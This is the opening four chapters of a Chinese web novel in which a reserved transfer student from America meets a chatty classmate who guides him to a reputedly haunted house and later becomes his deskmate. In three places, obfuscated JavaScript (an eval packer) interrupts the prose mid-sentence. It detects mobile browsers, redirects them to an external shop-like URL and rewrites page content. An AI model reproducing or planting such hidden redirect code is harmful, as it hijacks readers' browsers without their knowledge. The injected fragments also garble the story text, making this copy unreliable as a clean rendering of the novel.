《走漏风声》 1. 交际花 下午五点半,正是下班放学高峰期。车流像洪水冲向四通八达的马路,将主干道堵得水泄不通,公交以一停一顿的速度龟速前行,各种刺耳的喇叭声此起彼伏似乎永不会停止。 易时动了动腿,狭窄的公交座位对他的身高来说太过拘束,他将手指插进头发里往后捋了一把,望向窗外。 窗外是鳞次栉比的高楼和不远处起伏不定的山,很陌生,却又像一副等待品鉴的画卷摊开在眼前。 公交上拥挤又狭窄,就像这座被山环绕的城市。 算不上什么好印象,但这里是他外婆心心念念的故乡,是她临终前都惦念着要回去的地方。 在飞机上没有休息好,但时差还没倒过来,睡不着,他到酒店放下东西就出来了。 此时倒是有些疲惫了。 易时用手肘抵着窗,几近昏昏欲睡却又没有完全失去意识,不知过了多久,他感觉到公交逐渐顺畅地往前开去,然后停了,有人上车坐在了他旁边,行驶了没多久又停了,车门打开再度关上。 突然,坐在他隔壁的小学生大声喊:“小昭哥哥!小昭哥哥!” 他睁开眼睛,正好看见一颗五颜六色脑袋迎面而来,脑袋的主人坐在了他前面的空位。 等头发胡乱染了不下五种颜色的小昭哥哥扭过头来,易时看清楚了,很年轻的一个男孩子,看起来年纪和他差不多大,白皙精致的脸还挺好看,哪怕顶着乌烟瘴气乱七八糟的头发依然有种说不出的干净朝气,似乎什么样的穿着打扮都压不住他本来的气质。 少年笑着说:“哟小雨都能一个人坐公交上下学了?” 声音也挺清澈好听。 易时合上了眼。 “对呀,我都六年级了。”叫小雨的小女孩似乎对他的头发十分感兴趣,好奇地问,“哥哥你这是假发还是真发啊?” 男生神秘道:“你猜,猜中了有奖励。” 小雨的兴趣一下子转到了奖励身上,兴奋地问:“什么奖励?” 传来很轻微的拉链声,男生不知从自己包里翻出来什么,小雨惊喜地“哇”了很大声。 易时又睁开了眼睛。 对面的男生晃了晃手上一盒崭新的蜡笔,笑得有些少年气:“快猜啊。” 小雨盯着他的头发,有些犹豫:“假的?” 男生扬了扬眉未置可否,提醒道:“你再想想。” 小雨立即改口:“真的真的。” 男生顿时笑了:“恭喜六年一班廖小雨同学猜对了,赢得了最高奖励一盒聪明牌24色蜡笔。” 易时扫了一眼,发现这男生不笑的时候看起来乖巧和煦,笑起来反而有种不端正的艳丽。偏狭长而上挑的眼睛,眼珠是棕色,清澈透明,眼尾像钩子一样微微上扬,眼波流转。 易时脑子闪过一个最近刚学的新词,眼带桃花。 小女孩兴高采烈地接过蜡笔,反复地转着看:“谢谢小昭哥哥!!哥哥,你哪来的蜡笔?” 男生说:“我们学校开学搞义卖活动,我赢的。” 小雨兴致又起来了:“赢?怎么赢的?” 易时再度闭上眼睛,小女孩在旁边像只小鸟叽叽喳喳说个不停,说她妈妈逼她学古筝而她喜欢画画,说班上男同学揪她小辫子很讨厌……似乎恨不得要将生活点点滴滴全部讲给对面的男生听。 直到公交到站,男生提醒她该下车了,小女孩才恋恋不舍地道别:“小昭哥哥再见!” 终于安静了下来。 “诶,这不是小昭吗?怎么来这里了?哎哟你这一头什么乱七八糟的?” “邓婆婆,我去找胖子,呃不是,罗浩。他感冒了在家养病,我们老师让我给他送作业呢,你坐我这儿吧。” “没事没事我去市场买菜,就一个站,马上就下车了。你这头发是怎么回事啊?这可不像个好学生啊。” “嘿嘿我们学校开学搞活动,我同学闹着玩非要给我喷,一次性的,洗头就能洗掉。邓婆婆你别再说我了,我已经被老师狠狠批评一顿了,这不,罚我千里迢迢来送作业。” “哈哈哈哈是该好好批评。” …… 过了没多久,邓婆婆下车了。但只安静了没一会儿,有个女声迟疑地打招呼:“贺昭?竟然会在这儿遇见你,好难得啊。” 易时睁开眼,那个叫贺昭的男生已几步迈了过去,停在一个年纪相仿穿着校服的女生旁边,两人小声交谈了起来,不知说了什么,女生笑得停不下来。 这人是交际花吗? 易时盯着他们两人看了几秒,或者说盯着交际花看了几秒,说不上有什么感觉,只是觉得那人应该是从小到大都很招人喜欢的那种人。 和他截然相反。 广播里终于报出了易时下车的站点。 窗外的天空已经昏暗了下来,灯火就像大簇大簇艳丽的花堆砌、盛开,层层叠叠,错落有致,璀璨而夺目。 很热闹。 也很热。 一下公交,易时就感觉到令人窒息的热浪扑面而来,像一个无形的面罩将人裹在里面,难以喘息。 他打开手机导航输入地址。 推荐方案步行,距离目的地1.1公里,用时18分钟。 不算远。 40分钟后,易时低头看了眼屏幕:推荐方案步行,距离目的地1.6公里,用时25分钟。 他面无表情熄灭了屏幕。 他来之前在网上搜索过这座城市,点赞数最高的评价只有两个字——“迷宫”。 这座迷宫在他来到的第一天就给了他一个下马威。 “同学……” 突然,身后有一只手搭上了他肩。 易时不太喜欢跟别人有身体接触,说不上抗拒,但比平常人敏感一些。 他下意识往一旁侧了下身,正好将那只手甩开,皱着眉转过了头。 竟然是刚才那位交际花。 交际花嘴里叼着一根棒棒糖,似乎被他的反应吓到了,停了两秒,把棒棒糖从嘴里拿了出来,唏嘘道:“我还是第一次见真人一碰就炸毛,跟我楼下那只猫一样。” 易时问:“什么事?” 语气很冷,冷得贺昭瞬间觉得自己做了多余的事,助人为乐的热情随之冷却了下来。 贺昭重新将棒棒糖塞回嘴里,含着棒棒糖咬字不清地说:“没什么,我大半个小时前跟你同一个公交站下车,这会儿我都办完事了,看你还捧着个手机在绕圈,以为你需要帮助。” “需要帮助”四个字咬得极重。 沉默了片刻,易时:“抱歉。” 竟然道歉了? 贺昭看着他,伸出了手。 见易时一动不动站着,似乎不明白他要做什么,扬了扬下巴:“手机,让我看看你要去哪,我可是在这附近住过十年。” 易时摁亮了屏幕,递给他。 贺昭扫了一眼,思索着:“这地址很熟悉啊……我大概知道在哪里……不远,我带你抄个近路,十来分钟就能到。” 贺昭走在前面,领着易时下了楼阶,拐进小巷又上了天桥,用舌头卷着棒棒糖,不无得意道:“同学,听我一句劝,在这里,导航基本是废的,还不如问路,这儿的人都像我一样热心肠。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480233|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 同学不知是不知道回什么还是不想理他,没有说话。 贺昭瞥了一眼,这男生长相极为出众,高鼻深目,棱角分明的侧脸在路灯下像一张精致而冷漠的剪影,如果不是他黑发黑眸,贺昭简直要怀疑他是外国人。 本身长得就攻击性强,偏偏还一脸冷酷,拽得跟二五八万似的。 贺昭真诚发问:“同学,你从小到大没少被人堵着要揍你吧?” 同学终于说话了:“没。” 行吧,没就没。 看不出来他在主动拉近两人的距离吗? 贺昭在心里“啧”了声,怎么会有人一开口就跟浇冰水一样,“呲啦”就把别人想说话的苗头掐灭了。 沉默了三分钟,贺昭点评:“那你身边的人都还挺友爱和平的。” 同学看了他一眼,依然没有接话。 贺昭倒也无所谓了,慢条斯理地想着,穿过这条小巷,再拐个弯,就差不多到目的地附近了,很快就可以结束这段愉快之旅了。 等等…… 穿过这条小巷,再拐个弯…… 贺昭缓慢而僵硬地回过头,男生就面无表情跟在他右侧方慢半步的位置,贺昭在同龄人中身量已经算高,这男生却比他还高出一截。路灯拉长了他们的影子,男生的影子像一团阴影从后往前刚好覆盖住了他和他的影子。 贺昭的后背渐渐升起一股凉意,他想起来了,那个地址…… 这个男生要去的地方是那栋鬼屋。 父母离婚前贺昭一直住在附近,他熟悉这一片地方,包括那栋鬼屋。鬼屋已荒置多年,门窗紧闭,散发着一股浓郁的阴森森气息。他自小就听过鬼屋不止一个版本的恐怖故事,以至于小学时每次和同学朋友路过那地方都忍不住好奇想看一眼,又总觉得有一双眼睛透出窗户望过来,令人不寒而栗。 贺昭的心脏像在打鼓般剧烈跳动,他们二人已走到小巷的深处,远离住户远离大路,四周安静得他几乎要怀疑自己是不是已经踏进与世隔绝的迷魂阵。 他忍不住往旁边瞟,刚走过一盏路灯,下一盏路灯的光正好投在男生脸上,将他的脸照得有几分煞白。 贺昭猛地停住脚步,脱口而出:“卧草。” 男生似乎不知道发生了什么,投了个询问的目光过来。但随着他往前走了一步,光线正常了些,他的脸也恢复了正常。 贺昭的心脏又回到了胸膛,赶紧加快脚步往前走去。 镇定镇定,他有影子不可能是鬼。 说实话,比起鬼魂,他更像电影里的吸血鬼。 吸血鬼有影子吗?吸血鬼是不是怕十字架?还怕什么?蒜?黑蹄子? 贺昭思绪胡乱地飘,没等他想出个所以然来,鬼屋已经出现在眼前。 贺昭清了清嗓子,干巴巴地说:“那就是你要找的地方。” 易时沉默地看向破败而古老的房子,外婆口中那些她亲手种的美丽的花应该早就没有了,只剩下杂乱的草。太久没有人居住和打理,这房子孤零零地立在那儿像个和周遭格格不入的老人,又像只翘首盼望主人回来的怪物。 只是,它的主人不会再回来了。 他缓慢地说:“谢了。” 贺昭:“不用谢不用谢,那……我先走了?” 易时点了点头:“好。” 贺昭走了几步,又退了回来,指着前面的大路,叮嘱:“如果你待会儿要走,从这里走过去,那有个路口,很容易打到出租车。” 说完也不等他回应,贺昭飞快地跑走了。易时看过去时,只看见少年飞扬的校服衣摆在巷子口一闪而过。 2. 新同桌 早读课课间,贺昭才吸着鼻子踏进后门。 罗浩就坐在最后一排,看见他这样似乎有些意外,问道:“昭哥你是真感冒啦?” 贺昭在隔壁组最后一排拉开椅子坐下,带着浓重的鼻音:“不然呢?” 罗浩:“嘿嘿我还以为你骗老周请假玩了三天呢。” 今年暑假只放了不到三分之二,六中便把升高二的全体同学号召回来补课,而且据说升高三的师兄师姐只放了十二天。 简直令人发指。 九月一日正式开学后,同学们并没有洋溢着青春活力,而是愈发颓靡。 贺昭用食指点了点自己的额头,悲愤指责道:“胖子,你还有没有良心?我给你送完作业回到家连夜发高烧,38.9℃,你不慰问我就算了,竟然还造谣我请假玩儿?万一传到老周那儿我已经死了。” 罗浩:“不是,昭哥,你来找我那会儿我都快好了,而且感冒病毒不是有潜伏期嘛,哪能那么快……” 况且他感冒根本不严重,他只是借着小感冒找回几天暑假,谁知道第二天就被他亲娘识破把他赶回来上课,接着一回来就听说贺昭倒下了。 哪能这么巧。 他理所当然就以为贺昭像他一样是装病,再说了贺昭的妈妈可比他妈温柔了不止一百倍,说不定会帮着他作弊。 贺昭眯了眯眼睛说:“我身娇体弱不行啊,所以你是不愿意对我负责了?” 姜林掺和了进来,一脸失望附和:“就是,我哥都这样了,亏胖子你还是跟我哥认识十几年的兄弟,真没良心真不负责任。” 罗浩一愣:“不是你说你哥天天在家打游戏看着一点儿事也没有吗?” 姜林家离贺昭家就半条街的距离,他有事没事就到贺昭家串门,昨晚还在他家蹭饭。 姜林立马否认:“我什么时候说过?我没说过。” 罗浩叹了口气,认命道:“得,是狗说的。” 贺昭瞥了眼课程表,下一节课是语文课,随手抽出语文课本甩在桌上。 坐在罗浩前面的刘晓芸正在对着小镜子涂粉色的口红,转过身神秘兮兮地说:“贺昭,老周让你在学习生活上多照顾你的新同桌。” 贺昭正把手伸进书包里掏牛奶,一下子没反应过来。 罗浩听了,故意捏着嗓子阴阳怪气:“昭哥,你要再不回来,班草的头衔都要被你同桌抢走了,有的人可是被迷得神魂颠倒。” 刘晓芸自然知道是在说她,不满地反驳:“哪有那么夸张。” 罗浩:“夸张?刘晓芸,你一节课能扭头看人家十几次。” 刘晓芸:“那确实长得帅啊,看帅哥犯法吗?” 贺昭终于从书包里掏出一盒牛奶,插上吸管,疑惑道:“同桌?” 他自高一下学期文理分科就一直孤家寡人,难不成请了个小三天病假回来组织就悄悄分配同桌了? 他往隔壁看了一眼,原本空荡荡的书桌竟然真的塞满了崭新的课本。 罗浩:“大锤,你没跟昭哥说啊?” “说了,我绝对说了,”姜林提醒道,“哥,我前天跟你说的,有个转校生,男的,从老美转学来的,混血大帅比。” 这么一说贺昭是有点儿印象,但他当时发着烧还打着游戏,根本没认真听姜林说什么,而且姜林这人说话总是比别人多三分夸张,他听了也不知是真是假。什么国外转学来个大帅哥,这一听就跟瞎扯淡一样。 他转向稍微可靠点的罗浩,问:“真是老美转学来的?来我们这儿读高中?” 六中勉勉强强算个重点高中,但在这城市一众重点中学里面算不上有多出挑。 罗浩:“这还真是,我在办公室罚背英语短文,亲耳听老周跟其他老师说的。” 贺昭咬着吸管:“他在老美学的东西应该和我们不一样吧?高二了才重新开始,也太想不开了吧?” 罗浩:“但听说人家通过了我们学校的入学考试,分数还挺高。” 贺昭随口说:“喔,敢情还是个学霸?学霸就是任性。” 姜林的同桌谢莉莉是学习委员,转过头推了推眼镜一本正经道:“是不是学霸还不清楚,看起来不太好接触。” 刘晓芸忍不住说:“高冷帅哥嘛,都这样。不过贺昭不要担心,他跟你是不一样的款,你们两个我都喜欢。” 贺昭顿时乐了:“我那大帅比学霸同桌呢?” 刘晓芸耸了耸肩说:“被老周叫走了。” 上课音乐响起,贺昭正好吸完最后一口牛奶,捏扁牛奶盒顺利地投进垃圾桶,顺势伸了个懒腰,叮嘱道:“我先睡一下,要是语文老师问起,就说我生病了。” 罗浩比了个OK的手势,于是贺昭心安理得地趴在了桌上。 说来也奇怪,贺昭生病在家发着烧都浑浑噩噩睡不踏实,一到学校枕着语文课本入睡只需三秒。 睡得迷迷糊糊间,似乎是姜林的椅子磕了一下他的桌子,贺昭突然醒了,睁开眼一个熟悉又英挺的侧脸映入眼帘。 他眨了眨眼睛,看清后一下子弹了起来:“卧草?” 这不是前两天那吸血鬼帅哥?怎么出现在教室? 全班同学看了过来。 语文老师是个严肃板正的女老师,敲了敲讲台:“贺昭?怎么回事?上课睡觉我就不说什么了,还能当堂做噩梦啊?” 同学们热情而配合地发出一阵哄笑,尤其是前面的姜林夸张得几乎笑趴在桌上。 贺昭有些郁闷地抓了抓头发,几乎是立即道歉:“对不起老师。” 语气十分真诚。 不知是故意还是无意,裹着浓重的鼻音。 语文老师看着他,语气缓了下来:“身体不舒服就请假多休息几天,学习重要身体也重要,还有前两天发的试卷你记得去我办公室拿一下,坐下吧。” 贺昭“嗯嗯”地连连乖巧点头,坐了下来,心里却不住哀嚎,不是吧,他都这样了还惦记着让他补考试卷?不愧是人间冷漠谭老师。 但经过这么一闹,贺昭方才刺激的心跳倒是恢复了正常。 他看了一眼新同桌,过了一会儿,又看了一眼,憋不住了。 轻轻用指节叩了叩新同桌的桌面:“喂同学……” 话没说几个字,下课音乐响了。 贺昭正想着是继续往下说呢还是等音乐停了再说,新同桌看着他,面上看不出任何表情,语气冷淡:“想问我是人是鬼?” 贺昭愣住了,在心中爆了今天第二次粗口,猛地踹了姜林的椅子一脚:“大锤!” 姜林吓了一个激灵,立即回过了头。 贺昭压低嗓音,质问道:“他怎么会知道鬼?” 这事他只跟姜林这个大嘴巴说过。 姜林一脸懵,用极为正常的洪亮的嗓音回问:“鬼?什么鬼?你去找胖子那天晚上遇到的吸血鬼?” 新同桌视线若有似无落在他身上,似乎还轻嗤了一声。贺昭顿时感觉一股羞耻的热气冲向他脖子以上的地方,他皮肤白,耳尖脸颊迅速染上淡淡的粉。 贺昭咬了咬牙,真恨不得将姜林的嘴巴缝上。 太丢人了。 那天那种氛围下他确实胡思乱想了很多,逃跑后又正好姜林打电话给他,就一股脑说了出来。冷静下来后再想,愈发觉得这事简直太荒谬太可笑了,就他楼下八十岁还强健得能跳广场舞的马婆婆听了都要敲他脑袋问他脑子里装的是什么封建迷信。 他可是21世纪自小接受科学教育熏陶的祖国好少年,况且那帅哥他在公交上就看到了,分明就是一副千里迢迢来找人的模样。 可当时就是不知道怎么的,脑子跟抽了一样。 罗浩见贺昭反应这么大,上下打量着他:“昭哥你真的撞邪了?大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480234|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锤说的时候我还不信,以为他在写恐怖小说呢。” 姜林不服气了:“要写也是我哥写的,我只是复述。” 贺昭忽然有种不好的预感:“你复述给多少人听了?” 姜林十分怂地缩了缩脖子,试探着说:“三……三五个?” 谢莉莉突然回头冷静地补充:“他分别给三五个人讲了一遍,基本上全班人都听过了。” 贺昭:“……” 贺昭正想开口,看了一眼他的同桌,站起身,拐到了罗浩旁边,一屁股坐在了他同桌位置上,压低声音问:“大锤说的时候……” 想了想,还不知道人家叫什么名字,“我同桌也听见了?” 罗浩点点头:“应该是听见了,毕竟大锤就坐在你们前面,嗓门又大。” 贺昭绝望了。 他想去问问老周能不能换同桌,或者换班。 如果换一个人,他可能开个玩笑也就过去了,偏偏是这个人看起来没法开玩笑。 贺昭叹口气,坐回了自己的位置。 罗浩还在问:“昭哥,你该不会是撞邪受惊吓才生病发烧的吧?” 贺昭没好气地说:“滚,我是被张江洋那小子传染的。” 张江洋,c班的刺头,他异父异母法律上的弟弟,因为张江洋的爸爸和他的妈妈再婚了。 张江洋平时结实得跟头牛一样,很少生病,感个冒却比寻常人严重,一直没好。谁知他传染给了贺昭后,立马生龙活虎得能跑去打篮球了。 罗浩难得反应迅速:“那你还说是被我传染的?” 贺昭不想再继续任何关于那个晚上的话题,冷漠地说:“反正不是张江洋就是你,张江洋死不承认,要不你们两个剪刀石头布?” 下一节课仍然是语文课,谭老师在讲解作文。 贺昭从桌肚掏出手机,看见了奶奶给他发了长篇消息,大意是过两天是他同父异母的妹妹过生日,希望他能来。 贺昭琢磨着该怎样告诉她,他已经回校上课了,要上晚自习,没空去。 当然,更多的是他不愿意去。 旁边传来很轻微的翻书声,贺昭看了一眼,是他新同桌在翻书,他很安静,安静得贺昭差点忘记他的存在。 不过虽然很安静,却不怎么安分。 贺昭瞥了一眼,看得很清楚,他低着头,正在专心致志写数学题。 贺昭还注意到他握着笔奋笔疾书的手指很好看,骨节分明且瘦长。 新同桌似乎感觉到了什么,蓦地抬头正好和他四目相对。 说不上什么心理,贺昭就这样直直和他僵持着,仿佛谁先挪开视线谁就输了。 过了一会儿,新同桌沉默地收回了目光,似乎打算继续写他的数学题。 是他输了。 贺昭满意了,将语文书翻到第一页,露出自己签的大名,轻轻点了点说:“贺昭,我的名字。” 新同桌头也不抬,翻了一页新的草稿纸,写下了自己名字“易时”。 挺意外的,易时的字还挺好看,潇洒有力,一看就是小时候没少被逼着练字。 贺昭有一点儿好奇,几乎是脱口而出:“你真是美国转学来的?” 怎么中文这么流畅字也写得这么好。 易时的态度明显不热情,冷淡应了声:“嗯。” 贺昭又多问了句:“混血儿?” 据他观察,易时脸部的棱角起伏是比一般人明显些,某个角度尤其是侧面很立体,但认真看又不是很像典型西方人的长相。 易时看了他一眼,目光冷得像块冰:“是,有事吗?” 贺昭从他表情已经读到了下一句“没事就不要打扰我”。 靠。 这人还真是块又臭又硬的烂石头。 贺昭“唰”地打开了作文本,学着他的语气,冷冰冰地说:“没事。” 3. 数学 暑假补了大半个月的课,最后几天按例进行了开学考试。贺昭原以为自己请假三天躲过了发放成绩的倒霉日子,没想到一回来正面受击。 上午最后两节课是数学课,班主任周宗明气势汹汹拿着一叠试卷来了,在讲台上一甩:“别的话我就先不说了,考得怎么样你们自己心里有数,我只发前十名的,念到名字的同学上来领试卷,其他的课代表发下去。” 周宗明依次念完了前十名,课代表还在窸窸窣窣发试卷中,试卷到处传来传去。 “这一次试卷简单,可高分的依然没几个,退步的却还不少,我就有一个问题想问你们,看到成绩的同学对自己的成绩满意吗?” 稀稀落落有人拉长声音应道:“不满意。” “我怎么觉得有的人对自己很满意啊,是不是每次考差不多的成绩就觉得自己成绩很稳定?没退步就可以了是不是啊贺昭?” 贺昭还没拿到自己的试卷,突然被点名有些懵:“???不是,当然不是啊小明老师。” 周宗明是班主任兼数学老师,四十岁左右,平日里挺好相处,还有点冷幽默,不少学生都喊他老周或小明老师,贺昭看得出他更喜欢“小明老师”这个年轻点的称呼。 老周说:“不是?每次你都说不是,我也都信你了,贺昭的试卷到哪了,给他看看自己的分数。” 老师生气一般分为假生气和真生气,老周这一看就是假生气,单纯想找个人开开涮,做个简单的杀鸡儆猴。 一般老师挑这种对象的标准是:跟老师关系不错、在同学中人缘好且能承受打击的,贺昭便是这样的典范,时常在班上承担这样的重担。这也不是第一次了,好几个同学纷纷从前排转头看贺昭,脸上带着幸灾乐祸的偷笑。 贺昭的试卷终于横跨大半个教室传到了他的手上,鲜红的99。 150分的数学90分及格,刚好过了及格线零九分。 老周扶了扶黑框眼镜,再度问道:“觉得自己考得怎么样?” 数学一直不是贺昭擅长的科目,及格了他就松一口气,但他极为诚恳地检讨:“不满意,特别不满意。” 他不满意了老周才满意地继续攻击下一名选手:“罗浩笑什么呢?比贺昭高几分很开心是不是?你可是曾经考进过A班的人,怎么现在连A班的边都摸不到了呢?是不是在B层班待久了就觉得自己考这个分数很好了?” 罗浩连连摇头:“不是不是不好不好。” 老周抖了抖试卷:“你们不要觉得自己在B层班就用B层班的标准来要求自己,很多同学是很有潜力的,你们都要向A班发起冲刺。好了,废话不多说,我们来看试卷,翻到最后,先从最后一道大题讲起。” 六中分为ABC三层班,理科A班有两个,B班有两个,剩下则是C层班。 每周一测验,每月的月考算小考,期中考试期末考试算大考,再加上各科老师们心血来潮的测验,各种大小考试都把众多学子考麻木了。不过大考尤为特别,六中ABC班不是一劳永逸而是浮动的,大考能考进A班排名的同学直接进入A班,而考出A班排名的同学便按照成绩贬谪到其他班级。 罗浩的成绩一直排在班上前几名,考得好直挤A班,考差了又灰溜溜回来了。一来二去,大家都习惯了。 贺昭倒是从没有这种烦恼,他的成绩一直稳定居于B班中间。反正对他来说能成功到达本科分数就可以了,别的就随缘吧。 老周在台上讲大题激动得直喷唾沫,贺昭转着笔看似在认真听讲思绪直奔九霄云外。 反正他要是能搞懂最后一道大题,他的数学成绩也不会一直在100分徘徊了。 人不仅要知道自己的底线在哪里,还要知道自己的上限在哪里,要学会放过自己。 等贺昭的千里思绪回到了课室,终于注意到他的同桌易时没有参加考试故而没有试卷。 易时沉默地盯着黑板,似乎在很认真听老周讲题,可他连题目都没有,也不知道听不听得懂在讲什么。 贺昭在心里“啧”了声,心想这人不知是别扭还是傲,主动跟他说一声难道他这样乐于助人的人还会吝啬分享一张小小的数学试卷? 他按着试卷,将它推到了两张桌子中间。 易时倒是没有拒绝他的好意,垂眼看着题目,忽然,他低声道:“谢谢。” 贺昭一愣,还以为自己听错了,反应过来正要说句“不用谢”,就看见易时盯着他乱七八糟的大题,似乎有一瞬间不易察觉地动了下嘴角。 伤自尊了啊。 学渣也是有自尊的。 贺昭忍不住控诉:“你这什么表情?” 易时倒是没有否认:“有点儿意外。” 贺昭极轻哼了一声,不爽地说:“不会做不行吗?” 易时看了他一眼,知道贺昭误会了他的意思。他意外的是相比起贺昭这个人,贺昭的成绩算得上平平淡淡毫无亮点,居然既不是最好的那一拨也不是最差的那一茬,他以为会极端一点儿。 易时:“我不是那个意思。” 贺昭不依不饶地问:“那你什么意思?” 沉默了一会儿,易时:“算了。” 贺昭一阵无语:“上一个这样跟我说话的人坟头草都长出来了你知道吗?” 原以为易时不会再搭理他,谁知他又应了一句:“不知道。” 贺昭有些乐了,点了点试卷:“您想怎么涂涂改改勾勾画画它都行,我不管了,全权交给您了。” 连着砸出两个重重的“您”,他从桌肚里掏出语文老师亲手交给他的试卷,埋头写了起来。 等贺昭在语文的知识海洋里遨游一番,摸了摸肚子,饿了。 十几岁的少年总是饿得特别快,一接近上午最后一节课就饿得跟忍受酷刑一样。他戳了戳姜林的背,压低声音说:“有吃的吗?” 姜林在抽屉里掏啊掏,不一会儿,将背贴着他的桌子,没有回头,往后勾了一只手,手上攥着两颗大白兔。 贺昭接了过来,姜林又故作没事地缩了回去。 行吧,大白兔也行。 贺昭剥开一颗大白兔,塞进嘴里。 不知是闻见味还是听见声音,右边的罗浩立即投来饿狼般渴望的眼神,贺昭正准备把另一颗传给他,发现左边也有目光落在他身上,他偏了下头正好和易时视线交接,犹豫了下,他缓慢把那颗奶糖推了过去。 易时礼貌而疏离地说:“不用。” 这下贺昭毫不犹豫地把奶糖抛给了罗浩。 吃完大白兔,贺昭依然很饿,眼睛像扫描仪一样滴滴打转。寻找到目标,他精准地将橡皮擦丢到了刘晓芸桌上,刘晓芸似乎已经习惯了,立即扭过头看他,贺昭指了指她抽屉里的面包。 刘晓芸笑骂了句:“你可真行,这都能看见。” 但还是趁老周不注意,把为了减肥早上没吃的面包丢在贺昭桌上。 罗浩又投来熟悉的渴望的眼神。 贺昭叹了口气,将好不容易到手的面包一分为二,压低声音说:“爸爸容易吗乞讨还要养个傻儿子。” 罗浩虔诚地接过二分之一块面包,感激涕零:“谢谢爸爸。” 终于熬完上午的课,下课音乐还没响完,老周体贴地一挥手,在饭堂吃饭的同学立即一溜烟跑没影了,教室里空落落只剩下零星几个人。 罗浩家住得远,他妈嫌学校饭堂饭菜不健康没营养,专门给他报了个午托,让他中午在午托吃饭休息,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480235|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不紧不慢地收拾东西:“昭哥,你中午还去你妈那吗?” 贺昭的妈妈林佩玲在六中大门附近开了一家果汁奶茶咖啡简餐……总之什么都有的甜品店,贺昭和张江洋两人平时就在那里吃午饭。甜品店距离罗浩的午托只有一两百米,两人顺路经常一起走。 贺昭比他还不着急,写完作文最后一段才把桌上的书随意一撂,慢悠悠背上书包:“我叔回来了,今天回家吃。” 罗浩顿时有些唏嘘:“真羡慕你,家那么近,张叔叔做饭又那么好吃。” 贺昭的家就在不远处的老城区,距离六中很近,走路只要二十分钟。 贺昭说:“你这话的重点是最后一句吧?要不要跟我回家吃饭啊?” 罗浩眼睛一亮,扭捏地说:“可以吗?真的可以吗?会不会太麻烦?” 贺昭正要犀利地戳穿他的虚伪,扭头却发现易时竟然也还没走,还在埋头安静写数学题。 他愣了愣:“易时,你是在饭堂吃还是在哪吃?怎么还不走?” 贺昭在心里又忍不住吐槽,不叫出来没发现,易时这名字还有点拗口。 易时看了他一眼,说:“附近吃。” 六中是一所历史悠久的学校,坐落在区中心,交通便利,附近繁华热闹,有不少便利店小吃店,贺昭了然地点了点头。 罗浩跟着问:“那你熟悉学校和学校附近了吗?要不要跟我们一起走?我们也能帮你熟悉下环境。” 易时还在奋笔疾书,头也不抬:“你们先走吧我再写会儿。” 停了下,加了句:“谢谢。” 贺昭:“那我们先走了。” 下楼梯的时候,罗浩说:“新来的也没有看起来那么不近人情嘛,还挺有礼貌。” 贺昭夸奖道:“啧不近人情,我替谭老师夸你一句‘不错啊罗浩都会用成语了’。” 罗浩:“那是,讲真的,我听我姑说他入学考试前准备了一个星期就考了个可以进B班的成绩,直接就破格录取进来了。” 罗浩的姑姑是这所高中招生办的副主任。 贺昭恍然大悟:“原来不是在办公室罚背英语短文听老师们说的,而是听你姑说的。” 罗浩:“害,我肯定不能直接说我姑说的,反正老师们肯定也知道,领他进来的时候那满脸喜气洋洋。不过我以为他是那种随随便便就能冲高分的学霸,没想到那么用功。” 贺昭问:“很用功吗?” 想了想易时好像是挺用功的,上课也认真听课,下课也认真看书,反正比他好很多。 罗浩:“你是没看见,他前两天桌上堆了一沓高一到现在的各科教材资料,他上课下课一直在看,现在没了应该拿回家去了。” 贺昭开玩笑地说:“怎么有压力了?怕他比你早一步进入A班啊?没事我天天帮你骚扰他。” 罗浩:“算了吧,我就不是读书的料,我妈给我报名师班,找家教,天天盯着我,折腾来折腾去我的成绩也就这样了。” 贺昭啧了声:“你不是读书的料?那班上其他人呢,朽木吗?” 罗浩幽幽叹了口气,白胖的脸上透出几丝忧郁的愁绪:“真羡慕你,你妈多好对你几乎没有要求,只希望宝贝儿子健康快乐,我妈是我怎么不快乐怎么来。” 贺昭:“那我再差不是还有张江洋垫底吗?” 张江洋是典型的重度偏科差生,数学就没及格过,跟他一比,贺昭的99分也没那么拿不出手。 走到校门口,张江洋正踩着他那辆破山地车等他,满脸不耐烦:“这么久才出来,在厕所蹲坑啊。” 贺昭慢吞吞拍了拍他的肩膀:“我和胖子走回去,你自个儿蹬回家吧。” 张江洋:“……靠” 4. 家 最后是张江洋扭扭歪歪踩着山地车配合他们二人走路的速度,一同回到了小区里。 小区已经很旧,房龄高达20岁,这几年进行了改造修缮,还在一侧加装了电梯,但仍看得出岁月无情的痕迹。 眼前这栋楼共七层,贺昭家在6楼,刚到楼下,贺昭一改懒懒散散的步伐,和张江洋四目交接,火花四射。 